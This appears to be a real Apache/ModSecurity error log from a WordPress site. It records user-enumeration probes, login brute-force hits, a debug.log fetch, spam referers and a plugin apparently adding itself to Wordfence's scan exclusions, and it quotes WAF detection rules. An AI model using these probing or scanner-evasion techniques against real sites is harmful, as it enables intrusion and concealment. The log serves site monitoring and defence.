[Tue Nov 11 04:27:27.149487 2025] [:error] [pid 43523:tid 43535] [client 47.93.235.72:49846] [client 47.93.235.72] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/V2/users"] [unique_id "aRJKr0pV__NXz9WhMIacEQAAAMk"]
[Tue Nov 11 04:27:45.285570 2025] [:error] [pid 43523:tid 43550] [client 41.185.64.163:33916] [client 41.185.64.163] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/usErs"] [unique_id "aRJKwUpV__NXz9WhMIacLgAAANg"]
[Tue Nov 11 05:18:26.766896 2025] [:error] [pid 43523:tid 43548] [client 37.120.176.221:40304] [client 37.120.176.221] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.120.176.221, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRJWokpV__NXz9WhMIa2iQAAANY"]
[Tue Nov 11 06:28:16.803074 2025] [:error] [pid 33888:tid 33896] [client 155.133.23.20:51406] [client 155.133.23.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 155.133.23.20, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRJnAIhA0uVBNwBRvPrx8QAAAIU"]
[Tue Nov 11 06:30:21.165010 2025] [proxy_fcgi:error] [pid 33931:tid 33961] [client 114.119.143.210:60325] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:2321:{s:15:\\"195.154.200.196\\";a:1:{i:0;i:1723473878;}s:13:\\"81.94.156.169\\";a:1:{i:2;i:1723917182;}s:13:\\"195.154.84.78\\";a:1:{i:0;i:1723489369;}s:14:\\"170.64.225.194\\";a:2:{i:1;i:1723490696;i:2;i:1723490699;}s:13:\\"64.233.173.96\\";a:1:{i:587;i:1757715684;}s:12:\\"40.77.167.45\\";a:1:{i:0;i:1723539245;}s:12:\\"40.77.167.30\\";a:1:{i:2;i:1740101853;}s:14:\\"74.125.208.138\\";a:1:{i:5;i:1739502371;}s:13:\\"146.75.190.39\\";a:2:{i:0;i:1723600199;i:1;i:1723600201;}s:15:\\"176.109.182.170\\";a:1:{i:0;i:1723638839;}s:15:\\"105.154.199.120\\";a:1:{i:0;i:1723673159;}s:15:\\"172.245.210.149\\";a:1:{i:2;i:1723698719;}s:13:\\"68.69.184.202\\";a:1:{i:2;i:1723703245;}s:14:\\"52.167.144.142\\";a:1:{i:1;i:1731148419;}s:14:\\"64.233.173.102\\";a:1:{i:509;i:1757915474;}s:13:\\"45.227.254.34\\";a:1:{i:1;i:1725900797;}s:14:\\"64.233.173.101\\";a:1:{i:581;i:1757760393;}s:14:\\"103.194.184.66\\";a:1...', referer: https://vetstars.com.au/slot%20pg%20%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99.aspx
[Tue Nov 11 06:34:33.766906 2025] [:error] [pid 57437:tid 57448] [client 143.44.165.54:15402] [client 143.44.165.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.44.165.54, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRJoeexevBIdHxHQtFp9-AAAAEc"]
[Tue Nov 11 06:34:38.014424 2025] [:error] [pid 33932:tid 33973] [client 143.44.165.54:15858] [client 143.44.165.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.44.165.54, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRJofpdn2hP2rg5PoHJUuwAAAUY"], referer: https://vetstars.com.au/wp-login.php?redirect_to=https%3A%2F%2Fvetstars.com.au%2Fwp-admin%2F&reauth=1
[Tue Nov 11 06:34:45.265429 2025] [autoindex:error] [pid 33888:tid 33905] [client 103.4.122.14:52304] AH01276: Cannot serve directory /home/vetstars/public_html/indexing-test/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 06:35:12.037244 2025] [proxy_fcgi:error] [pid 57437:tid 57453] [client 143.44.165.54:18499] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE wp_wfconfig SET val = CONCAT(val, ',/wordfence-activator/*') WHERE name = 'scan_exclude' made by require('wp-blog-header.php'), require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), include_once('/plugins/wordfence-activator/main.php')', referer: https://vetstars.com.au/wp-admin/
[Tue Nov 11 06:35:12.734225 2025] [proxy_fcgi:error] [pid 34002:tid 34014] [client 143.44.165.54:17395] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE wp_wfconfig SET val = CONCAT(val, ',/wordfence-activator/*') WHERE name = 'scan_exclude' made by require('wp-blog-header.php'), require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), include_once('/plugins/wordfence-activator/main.php')', referer: https://vetstars.com.au/wp-admin/
[Tue Nov 11 07:35:44.851100 2025] [proxy_fcgi:error] [pid 57437:tid 57441] [client 143.44.165.54:44740] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE wp_wfconfig SET val = CONCAT(val, ',/wordfence-activator/*') WHERE name = 'scan_exclude' made by require('wp-blog-header.php'), require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), include_once('/plugins/wordfence-activator/main.php')', referer: https://vetstars.com.au/wp-admin/themes.php
[Tue Nov 11 07:35:44.958796 2025] [proxy_fcgi:error] [pid 34002:tid 34010] [client 143.44.165.54:44723] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE wp_wfconfig SET val = CONCAT(val, ',/wordfence-activator/*') WHERE name = 'scan_exclude' made by require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), include_once('/plugins/wordfence-activator/main.php')', referer: https://vetstars.com.au/wp-admin/themes.php
[Tue Nov 11 07:37:45.645026 2025] [proxy_fcgi:error] [pid 34002:tid 34013] [client 143.44.165.54:54205] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:1:{s:9:\\"elementor\\";a:35:{s:4:\\"name\\";s:63:\\"Elementor Website Builder &#8211; More Than Just a Page Builder\\";s:4:\\"slug\\";s:9:\\"elementor\\";s:7:\\"version\\";s:6:\\"3.33.0\\";s:6:\\"author\\";s:64:\\"<a href=\\"https://profiles.wordpress.org/elemntor/\\">Elementor</a>\\";s:14:\\"author_profile\\";s:40:\\"https://profiles.wordpress.org/elemntor/\\";s:12:\\"contributors\\";a:1:{s:8:\\"elemntor\\";a:3:{s:7:\\"profile\\";s:40:\\"https://profiles.wordpress.org/elemntor/\\";s:6:\\"avatar\\";s:120:\\"https://secure.gravatar.com/avatar/7d70f15d78757f876d1847a8f87dd93e1d9c168264b4aeeaf72058656690d05b?s=96&d=monsterid&r=g\\";s:12:\\"display_name\\";s:9:\\"Elementor\\";}}s:8:\\"requires\\";s:3:\\"6.6\\";s:6:\\"tested\\";s:5:\\"6.8.3\\";s:12:\\"requires_php\\";s:3:\\"7.4\\";s:16:\\"requires_plugins\\";a:0:{}s:6:\\"rating\\";i:90;s:7:\\"ratings\\";a:5:{i:5;i:6068;i:4;i:218;i:3;i:108;i:2;i:106;i:1;i:631;}s:11:\\...PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:1:{s:9:\\"elementor\\";a:35:{s:4:\\"name\\";s:63:\\"Elementor Website Builder &#8211; More Than Just a Page Builder\\";s:4:\\"slug\\";s:9:\\"elementor\\";s:7:\\"version\\";s:6:\\"3.33.0\\";s:6:\\"author\\";s:64:\\"<a href=\\"https://profiles.wordpress.org/elemntor/\\">Elementor</a>\\";s:14:\\"author_profile\\";s:40:\\"https://profiles.wordpress.org/elemntor/\\";s:12:\\"contributors\\";a:1:{s:8:\\"elemntor\\";a:3:{s:7:\\"profile\\";s:40:\\"https://profiles.wordpress.org/elemntor/\\";s:6:\\"avatar\\";s:120:\\"https://secure.gravatar.com/avatar/7d70f15d78757f876d1847a8f87dd93e1d9c168264b4aeeaf72058656690d05b?s=96&d=monsterid&r=g\\";s:12:\\"display_name\\";s:9:\\"Elementor\\";}}s:8:\\"requires\\";s:3:\\"6.6\\";s:6:\\"tested\\";s:5:\\"6.8.3\\";s:12:\\"requires_php\\";s:3:\\"7.4\\";s:16:\\"requires_plugins\\";a:0:{}s:6:\\"rating\\";i:90;s:7:\\"ratings\\";a:5:{i:5;i:6068;i:4;i:218;i:3;i:108;i:2;i:106;i:1;i:631;}s:11:\\...PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = '{\\"screens\\":{\\"plugins\\":{\\"postType\\":\\"\\",\\"taxonomy\\":\\"\\",\\"defaultOrder\\":[\\"cb\\",\\"name\\",\\"description\\",\\"auto-updates\\"],\\"menuUrl\\":\\"plugins.php\\",\\"menuTitle\\":[\\"Plugins\\",\\"Installed Plugins\\"],\\"lastUpdated\\":1762817864,\\"columns\\":{\\"cb\\":{\\"title\\":\\"<input type=\\\\\\"checkbox\\\\\\" \\\\/>\\",\\"present\\":true},\\"name\\":{\\"title\\":\\"Plugin\\",\\"present\\":true},\\"description\\":{\\"title\\":\\"Description\\",\\"present\\":true},\\"auto-updates\\":{\\"title\\":\\"Automatic Updates\\",\\"present\\":true}}},\\"users\\":{\\"postType\\":\\"\\",\\"taxonomy\\":\\"\\",\\"defaultOrder\\":[\\"cb\\",\\"username\\",\\"name\\",\\"email\\",\\"role\\",\\"posts\\",\\"wfls_2fa_status\\",\\"wfls_last_login\\"],\\"menuUrl\\":\\"users.php\\",\\"menuTitle\\":[\\"Users\\",\\"All Users\\"],\\"lastUpdated\\":1754965369,\\"columns\\":{\\"cb\\":{\\"title\\":\\"<input type=\\\\\\"checkbox\\\\\\" \\\\/>\\",\\"present\\":true},\\"username\\":{\\"title...PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'YToxOntzOjMyOiI4YWQ4NmI=NzY2NjExN2FmMmNmYTcyOGI1MTE1YzBmYyI7YTozOntzOjQ6InRpbWUiO2Q6MjkzODAyOTg7czoxMzoid3BfcmVtb3RlX2dldCI7YTo=OntzOjc6ImhlYWRlcnMiO=86NDg6IldwT3JnXFJlcXVlc3RzXFV=aWxpdHlcQ2FzZUluc2Vuc2l=aXZlRGljdGlvbmFyeSI6MTp7czo3OiIAKgBkYXRhIjthOjk6e3M6Njoic2VydmVyIjtzOjU6Im5naW54IjtzOjQ6ImRhdGUiO3M6Mjk6Ik1vbiwgMTAgTm92IDIwMjUgMjM6Mzc6NDUgR=1UIjtzOjEyOiJjb25=ZW5=LXR5cGUiO3M6MTA6InRleHQvcGxhaW4iO3M6NDoidmFyeSI7czoxNToiQWNjZXB=LUVuY29kaW5nIjtzOjEzOiJsYXN=LW1vZGlmaWVkIjtzOjI5OiJXZWQsIDE1IE9jdCAyMDI1IDIwOjM1OjA1IEdNVCI7czo=OiJldGFnIjtzOjM2OiJXLyIzMzc5MTE4Ly9nb3RtbHMvdHJ1bmsvcmVhZG1lLnR4dCIiO3M6MTM6ImNhY2hlLWNvbnRyb2wiO3M6MTQ6Im1heC1hZ2U9NjA=ODAwIjtzOjc6ImFsdC1zdmMiO3M6MTk6ImgzPSI6NDQzIjsgbWE9ODY=MDAiO3M6MTY6ImNvbnRlbnQtZW5jb2RpbmciO3M6NDoiZ3ppcCI7fX1zOjg6InJlc3BvbnNlIjthOjI6e3M6NDoiY29kZSI7aToyMDA7czo3OiJtZXNzYWdlIjtzOjI6Ik9LIjt9czo3OiJjb29raWVzIjthOjA6e31z...', referer: https://vetstars.com.au/wp-admin/themes.php
[Tue Nov 11 07:37:48.426665 2025] [proxy_fcgi:error] [pid 57437:tid 57461] [client 143.44.165.54:57287] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE wp_wfconfig SET val = CONCAT(val, ',/wordfence-activator/*') WHERE name = 'scan_exclude' made by require('wp-blog-header.php'), require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), include_once('/plugins/wordfence-activator/main.php')', referer: https://vetstars.com.au/
[Tue Nov 11 07:38:52.845574 2025] [:error] [pid 34002:tid 34021] [client 78.111.111.80:42554] [client 78.111.111.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.111.111.80, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRJ3jNNx46Ag0u620orhkwAAAA8"]
[Tue Nov 11 07:55:48.791406 2025] [proxy_fcgi:error] [pid 57437:tid 57465] [client 91.92.242.56:58057] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE wp_wfconfig SET val = CONCAT(val, ',/wordfence-activator/*') WHERE name = 'scan_exclude' made by require('wp-blog-header.php'), require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), include_once('/plugins/wordfence-activator/main.php')'
[Tue Nov 11 07:59:57.426416 2025] [proxy_fcgi:error] [pid 20101:tid 20125] [client 91.92.242.56:58071] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:2326:{s:15:\\"195.154.200.196\\";a:1:{i:0;i:1723473878;}s:13:\\"81.94.156.169\\";a:1:{i:2;i:1723917182;}s:13:\\"195.154.84.78\\";a:1:{i:0;i:1723489369;}s:14:\\"170.64.225.194\\";a:2:{i:1;i:1723490696;i:2;i:1723490699;}s:13:\\"64.233.173.96\\";a:1:{i:587;i:1757715684;}s:12:\\"40.77.167.45\\";a:1:{i:0;i:1723539245;}s:12:\\"40.77.167.30\\";a:1:{i:2;i:1740101853;}s:14:\\"74.125.208.138\\";a:1:{i:5;i:1739502371;}s:13:\\"146.75.190.39\\";a:2:{i:0;i:1723600199;i:1;i:1723600201;}s:15:\\"176.109.182.170\\";a:1:{i:0;i:1723638839;}s:15:\\"105.154.199.120\\";a:1:{i:0;i:1723673159;}s:15:\\"172.245.210.149\\";a:1:{i:2;i:1723698719;}s:13:\\"68.69.184.202\\";a:1:{i:2;i:1723703245;}s:14:\\"52.167.144.142\\";a:1:{i:1;i:1731148419;}s:14:\\"64.233.173.102\\";a:1:{i:509;i:1757915474;}s:13:\\"45.227.254.34\\";a:1:{i:1;i:1725900797;}s:14:\\"64.233.173.101\\";a:1:{i:581;i:1757760393;}s:14:\\"103.194.184.66\\";a:1...'
[Tue Nov 11 08:12:45.896758 2025] [:error] [pid 19756:tid 19777] [client 172.172.116.199:4474] [client 172.172.116.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.172.116.199, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aRJ_fekAxCY2xqQFnfr6XQAAAlM"]
[Tue Nov 11 08:14:38.100160 2025] [:error] [pid 57437:tid 57442] [client 172.172.116.199:3215] [client 172.172.116.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.172.116.199, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/preferences/wp-login.php"] [unique_id "aRJ_7uxevBIdHxHQtFq16AAAAEE"]
[Tue Nov 11 08:15:13.954642 2025] [proxy_fcgi:error] [pid 18828:tid 18834] [client 172.172.116.199:2457] AH01071: Got error 'Primary script unknown'
[Tue Nov 11 08:15:50.081378 2025] [proxy_fcgi:error] [pid 19183:tid 19205] [client 172.172.116.199:7206] AH01071: Got error 'Primary script unknown'
[Tue Nov 11 08:17:23.649452 2025] [proxy_fcgi:error] [pid 34002:tid 34009] [client 103.4.122.14:51858] AH01071: Got error 'PHP message: PHP Warning:  include(/home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/extras/modules/dashboard-styler/dashboard-styler.php): failed to open stream: No such file or directory in /home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/includes/menu-editor-core.php on line 556PHP message: PHP Warning:  include(): Failed opening '/home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/extras/modules/dashboard-styler/dashboard-styler.php' for inclusion (include_path='.:') in /home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/includes/menu-editor-core.php on line 556PHP message: PHP Fatal error:  Uncaught Error: Class 'YahnisElsts\\AdminMenuEditor\\DashboardStyler\\DashboardStyler' not found in /home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/includes/menu-editor-core.php:558\nStack trace:\n#0 /home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/includes/menu-editor-core.php(1652): WPMenuEditor->load_modules()\n#1 /home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/includes/menu-editor-core.php(3490): WPMenuEditor->load_custom_menu()\n#2 /home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/extras.php(1680): WPMenuEditor->get_virtual_caps()\n#3 /home/vetstars/public_html/wp-includes/class-wp-hook.php(324): wsMenuEditorExtras->prepare_virtual_caps_for_user()\n#4 /home/vetstars/public_html/wp-includes/plugin.php(205): WP_Hook->apply_filters()\n#5 /home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/includes/menu-editor-core.php(4844): apply_filters()\n#6 /home/vetstars/public_html/wp-content/pl...'
[Tue Nov 11 08:17:29.846847 2025] [proxy_fcgi:error] [pid 33932:tid 33983] [client 103.4.122.14:51860] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Class 'YahnisElsts\\AdminMenuEditor\\DynamicStylesheets\\MenuScopedStylesheetHelper' not found in /home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/extras/modules/admin-menu-colors/admin-menu-colors.php:627\nStack trace:\n#0 /home/vetstars/public_html/wp-includes/class-wp-hook.php(324): YahnisElsts\\AdminMenuEditor\\AdminMenuColors\\MenuColorsModule->registerMenuColorStyle()\n#1 /home/vetstars/public_html/wp-includes/class-wp-hook.php(348): WP_Hook->apply_filters()\n#2 /home/vetstars/public_html/wp-includes/plugin.php(517): WP_Hook->do_action()\n#3 /home/vetstars/public_html/wp-settings.php(727): do_action()\n#4 /home/vetstars/public_html/wp-config.php(116): require_once('/home/vetstars/...')\n#5 /home/vetstars/public_html/wp-load.php(50): require_once('/home/vetstars/...')\n#6 /home/vetstars/public_html/wp-blog-header.php(13): require_once('/home/vetstars/...')\n#7 /home/vetstars/public_html/index.php(17): require('/home/vetstars/...')\n#8 {main}\n ...'
[Tue Nov 11 08:17:29.850370 2025] [proxy_fcgi:error] [pid 19559:tid 19573] [client 103.4.122.14:51874] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Class 'YahnisElsts\\AdminMenuEditor\\DynamicStylesheets\\MenuScopedStylesheetHelper' not found in /home/vetstars/public_html/wp-content/plugins/admin-menu-editor-pro/extras/modules/admin-menu-colors/admin-menu-colors.php:627\nStack trace:\n#0 /home/vetstars/public_html/wp-includes/class-wp-hook.php(324): YahnisElsts\\AdminMenuEditor\\AdminMenuColors\\MenuColorsModule->registerMenuColorStyle()\n#1 /home/vetstars/public_html/wp-includes/class-wp-hook.php(348): WP_Hook->apply_filters()\n#2 /home/vetstars/public_html/wp-includes/plugin.php(517): WP_Hook->do_action()\n#3 /home/vetstars/public_html/wp-settings.php(727): do_action()\n#4 /home/vetstars/public_html/wp-config.php(116): require_once('/home/vetstars/...')\n#5 /home/vetstars/public_html/wp-load.php(50): require_once('/home/vetstars/...')\n#6 /home/vetstars/public_html/wp-blog-header.php(13): require_once('/home/vetstars/...')\n#7 /home/vetstars/public_html/index.php(17): require('/home/vetstars/...')\n#8 {main}\n ...'
[Tue Nov 11 08:21:59.378427 2025] [:error] [pid 20101:tid 20116] [client 149.50.211.163:23029] [client 149.50.211.163] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.50.211.163, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRKBp_SZnd_J7V4i60I6rwAAAs0"], referer: https://vetstars.com.au/wp-admin/plugins.php
[Tue Nov 11 08:22:06.462853 2025] [:error] [pid 19756:tid 19781] [client 149.50.211.163:3436] [client 149.50.211.163] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.50.211.163, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRKBrukAxCY2xqQFnfr9lAAAAlc"], referer: https://vetstars.com.au/wp-admin/plugins.php
[Tue Nov 11 08:30:38.061837 2025] [authz_core:error] [pid 19436:tid 19450] [client 91.92.242.56:63854] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/really-simple-ssl/readme.txt
[Tue Nov 11 08:32:42.220987 2025] [:error] [pid 19756:tid 19772] [client 149.50.211.163:11587] [client 149.50.211.163] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.50.211.163, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRKEKukAxCY2xqQFnfoA6wAAAk4"]
[Tue Nov 11 08:32:45.913653 2025] [:error] [pid 18828:tid 18845] [client 143.44.165.54:25391] [client 143.44.165.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.44.165.54, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRKELRPP-hmbFD1dOrqamgAAAM4"]
[Tue Nov 11 08:41:29.256149 2025] [:error] [pid 33932:tid 33991] [client 91.92.242.56:49248] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/wp-content/debug.log"] [unique_id "aRKGOZdn2hP2rg5PoHKJjwAAAVg"]
[Tue Nov 11 08:44:01.408721 2025] [:error] [pid 43300:tid 43313] [client 144.48.39.114:57449] [client 144.48.39.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.48.39.114, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRKG0SJLyMix3KFpV51jXAAAAAg"]
[Tue Nov 11 08:44:08.053950 2025] [:error] [pid 43300:tid 43320] [client 144.48.39.114:57465] [client 144.48.39.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.48.39.114, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRKG2CJLyMix3KFpV51jagAAAA8"], referer: https://vetstars.com.au/wp-login.php?redirect_to=https%3A%2F%2Fvetstars.com.au%2Fwp-admin%2F&reauth=1
[Tue Nov 11 08:53:30.526018 2025] [proxy_fcgi:error] [pid 43301:tid 43346] [client 144.48.39.114:57738] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE wp_wfconfig SET val = CONCAT(val, ',/wordfence-activator/*') WHERE name = 'scan_exclude' made by require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), include_once('/plugins/wordfence-activator/main.php')', referer: https://vetstars.com.au/wp-admin/plugins.php
[Tue Nov 11 09:03:37.040710 2025] [:error] [pid 53356:tid 53408] [client 143.198.56.231:60264] [client 143.198.56.231] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.198.56.231, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRKLaekdmt0kzjVcUN8sBAAAAFc"]
[Tue Nov 11 09:03:43.570401 2025] [proxy_fcgi:error] [pid 53356:tid 53408] [client 143.198.56.231:60264] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE wp_wfconfig SET val = CONCAT(val, ',/wordfence-activator/*') WHERE name = 'scan_exclude' made by require('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), include_once('/plugins/wordfence-activator/main.php')'
[Tue Nov 11 09:25:10.355455 2025] [:error] [pid 53356:tid 53396] [client 106.119.167.146:54156] [client 106.119.167.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aRKQdukdmt0kzjVcUN8yGwAAAEs"]
[Tue Nov 11 09:54:52.954679 2025] [:error] [pid 59670:tid 59676] [client 188.166.61.49:42282] [client 188.166.61.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.166.61.49, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRKXbKk2Cnts0y-hpfpqGAAAAIM"]
[Tue Nov 11 10:04:15.786807 2025] [proxy_fcgi:error] [pid 59670:tid 59686] [client 144.48.39.114:59253] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE wp_wfconfig SET val = CONCAT(val, ',/wordfence-activator/*') WHERE name = 'scan_exclude' made by require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), include_once('/plugins/wordfence-activator/main.php')', referer: https://vetstars.com.au/wp-admin/plugins.php
[Tue Nov 11 10:06:16.439025 2025] [proxy_fcgi:error] [pid 53449:tid 53474] [client 144.48.39.114:59285] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE wp_wfconfig SET val = CONCAT(val, ',/wordfence-activator/*') WHERE name = 'scan_exclude' made by require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), include_once('/plugins/wordfence-activator/main.php')', referer: https://vetstars.com.au/wp-admin/plugins.php
